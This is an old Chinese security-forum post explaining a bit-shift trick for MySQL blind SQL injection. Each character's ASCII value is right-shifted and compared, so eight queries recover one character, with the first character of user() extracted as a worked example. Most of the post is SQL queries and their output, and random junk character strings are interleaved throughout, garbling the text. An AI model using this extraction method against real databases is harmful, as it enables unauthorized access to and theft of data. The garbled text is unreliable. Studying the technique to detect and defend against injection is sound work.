找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2141|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位' Q! v/ b, K- G, k: F+ Q

. g1 z% b' {5 C   E5 r7 H) P" k( M1 y9 v! d1 j

. o" l& F' n( d1 W下面将以查询mysql数据库当中user()的第一位为例:- Z; L2 z* S. U, N2 G7 Q+ z4 ^

# V. `+ M; ?- c; s3 J
- g' O: G1 e% O1 S# C# E
$ g1 \3 P7 x: o# Q; I2 U+ aps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
, F$ V2 N  U" V- U1 r. M6 h" c- `4 ~. Y$ E% z
; _, ]' Y3 j$ E& ~

3 \: j& \# C" G( s; @: G首先执行如下sql语句:
7 v7 a: [1 ]6 v3 d) k6 o0 O6 m
: z; a% ?: M. e' ^( m % S  _8 ?2 w; z( u4 W, b  n

9 D' r+ A2 W/ @: v$ Pmysql> select (ascii((substr(user(),1,1))) >> 7)=0;: p; ]- t* v) s+ c; L
! k9 N" x, i" [' O  e0 m& Z

: x: R! r4 y2 B) R8 p4 c* O7 i* J7 A" m, {/ Q' u. |
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的7 Q- ]1 U9 {% _5 A7 [- G

! ~1 h& C' ], j. a 9 _- _8 K) a+ P
* R1 J7 D3 S, P7 A; B4 j7 e( K
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为19 p. Q% l0 a& c
$ z3 K) {; Z* D  A

0 j) g6 w# R. Z/ y  b: B1 L. a7 I7 G5 Z+ W( E
如果运算结果为1,说明第一位为0,不为1
$ m1 T; O' E" P" S7 v& m  _  N$ E+ U/ e7 K3 s
- R/ C* C  x9 f
8 h' d  `8 e& b  m- B+ W8 K
+————————————–+
: ]( h. ^$ _/ C. ?5 _: ?* T
2 g5 _! Q+ }( {. h" {| (ascii((substr(user(),1,1))) >> 7)=0 |
( N7 w8 ?% }- W  q, h; p# p6 a6 H( G5 g- W! s
+————————————–+9 J  L$ Z% D9 h5 C- V! N. J: a

2 B1 j9 S5 o1 F: s, P7 @9 D| 1 |
' |9 F1 a+ F" J' z+ ~, X0 o7 u# i( u# j8 ^* x, }- g
+————————————–+. E" w: p& Z* i
. }; z/ V. U* ?0 S; s) |
1 row in set (0.00 sec)
" F; z3 e3 a! l, t6 N& b9 P
0 @' a& [5 u5 h/ o4 B+ d" K这样我们就确定这个8bit的ascii的第一位为05 e9 t/ M  B8 C" H6 R

" K) l  G' X' a
( H5 P9 ~; g4 m3 q2 X- b4 s
% g+ Y0 X& ]( \) N: i& \第二次我们来做6次右偏移来确定前两位
4 \: K- l2 Z. P; c' t. r6 k" E1 H  y4 W, K0 P
" h  z; r0 J0 D" |& E6 |
  \9 B: e1 ], A8 k2 y6 {, q" i2 n
前两位可能是01或00,即依然可以与0做比较,( R: G7 M9 d) Z  G
( a: O: Q4 n& a1 E# A5 l
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;# d4 ^& P* g- U+ f  @2 H5 K

+ u3 q/ Y0 Q0 d5 R+————————————–+
8 m% _+ R3 o: F4 x- {  o6 d4 z  {* l. f% U8 r/ M& q- a/ ~
| (ascii((substr(user(),1,1))) >> 6)=0 |
& n9 z9 h+ ^* V1 |3 I- a
/ i! Y1 t0 E1 T% o+ B+————————————–+9 I0 S1 [6 E/ _4 I' r. A6 ]
, m9 I& c6 Z' Y& p& l+ D3 A" b( y
| 0 |) B/ k1 P% A+ R

4 g; W" G9 T: x% x8 L' }+————————————–+' j& p# u, F& M3 T1 A( A
! }5 H% O% n6 t( ~3 c4 X
1 row in set (0.00 sec)/ s1 v  b5 ~4 R
) |- Q' \  v! w. L  F& c

+ M; o" J4 ]+ A# Y! ?* F# F" b
# I+ a- e& h. ?5 h) q7 N0 X结果为0,即第二位为1
/ H9 F! z' Q# I9 m! y" n( t' ?
  w5 |, `2 {) _$ ?$ `4 g; @
1 m/ j9 L: ^8 e$ p. p0 x, v. l
) n( K. y; M' Y/ X  |开始猜测前三位为010或011
5 F: o7 s/ }" o- n: j
3 i: y; N- H+ P' W
$ Z  I) r$ O6 n5 L4 J- v* C5 c, V: f: |3 y( z- e
让我们看看010和011的ascii码是多少! e5 u) _$ b  r+ s

. w  c. N" L/ q; h# b - N) f& }, G* |" h* d
" N6 A% s8 u2 l7 l8 ^7 @3 f
分别查询select b’011′ select b’010′: y7 \  z9 W0 k# u7 D; J

5 d6 X: _0 ~8 P/ f  n. h& E 1 E: ]" |) H6 m7 S; X, d8 T. R
9 U$ q# t9 [; |2 y6 z; Q$ u( e5 p
获得结果 010 = 2 011 = 3
5 u. i- N7 C- v
  Z! b$ O  b' Y5 f* y% P
8 U% R5 Q1 m* \6 \1 _
# _( @) i) O# ?" h3 p, R, F执行如下sql:
. k+ Y7 _' Z* o2 P1 M& v
0 e  e9 K/ f( l- T6 G 7 P* j$ L* [( h, b! [
6 T, x6 d- h- d: q# h7 u7 F5 G7 w9 k
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;7 v( {% ], Q, z9 s

; Q$ |3 O: e% T5 P+ M  Z  s+————————————–+. U: ^3 b2 [2 ?3 L* `

" S! {$ ^  D7 O& @& S; y| (ascii((substr(user(),1,1))) >> 5)=2 |
+ z* c! `* s  _% n( {3 N; o3 b- S+ l1 s8 \( E
+————————————–+
/ X' u3 S7 v* \# ^1 n6 `( d# Z, ]$ U% E& `& X4 _7 c
| 0 |$ k$ V' @9 v0 L, Z0 Q# w

; O2 N% z- v2 A6 `9 }( O! ?+————————————–+/ E( T& S* M: a0 g$ D
/ z0 \5 z) |' ?) h' i* f; Q
即前三位不为010,而是011. R# |/ y9 Z0 U9 i4 q  I
3 z8 \3 r8 X" W# P2 U. A* [" n2 i

3 M  p1 Y$ l8 {- u% j* k# k
% D) p9 {+ i3 l  e" T直到获得最后一位. C& H) d) i9 S* {2 r
+ V0 J0 }; W1 w7 c2 `. N
+ ?% }$ Y8 F* B; z  E

5 r$ U8 w% K+ Z* L最终结果为:01110010
! W6 m: J. r2 p  L/ `& H" Z# L$ B/ A
- n6 \7 c( |2 o; ?4 l' w* h

7 ~4 \0 ]5 ~- \) B: }3 h转换一下:5 _0 i$ B  ^8 w3 D$ c- g
9 g# O% S% a0 }
  }* R; k3 y* x3 |
' S( z3 j0 D; X; \: l$ X
select b’01110010′* B; G% J* ?! N$ e* M5 z

  i+ g7 {3 b1 }' U  [ ; n. x) p# F  b4 H! t
) M& y5 B, B: n& v8 @* Z- a& @
查询结果
! v/ X5 H4 ]- R: f, c( O
  o7 ~' j, I" }1 h   v! Y2 Z0 U* c' \) k. n
+ k- K, [- C! V
+————-+2 v5 M& l2 m# E  A, o5 P" e

5 |* v. Y% N( k# T| b’01110010′ |
# f  ]1 Z: j( y  v& b$ I3 T+ S3 |
* R% ^5 T% Y! ]- Y9 }) [+————-+
3 \  I: q( ]: i& B! A! i7 ~! E8 N5 J1 V2 C) Z) R( Y1 z" l' V
| r |
7 t6 v/ |4 W* T$ @0 V, s
0 T/ Y8 Y6 N, E. ?8 Y+————-+
) m! e8 X" z. u  N3 {: e! C9 E; B, b% z- f. h2 F- Q# b" J
1 row in set (0.00 sec), r0 @; E5 P! I

, m2 r9 u' {1 S7 {4 t. v
9 m& g# r: K& w6 r& N- Q0 }$ y- T# ~! G1 t8 N' b+ f. o
这样我们就获得了user()的第一位.其它位依此类推1 v0 b/ a* F! P7 U- I  G! F$ D

$ R* e( n0 L% Z! V. p+ w& g) g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表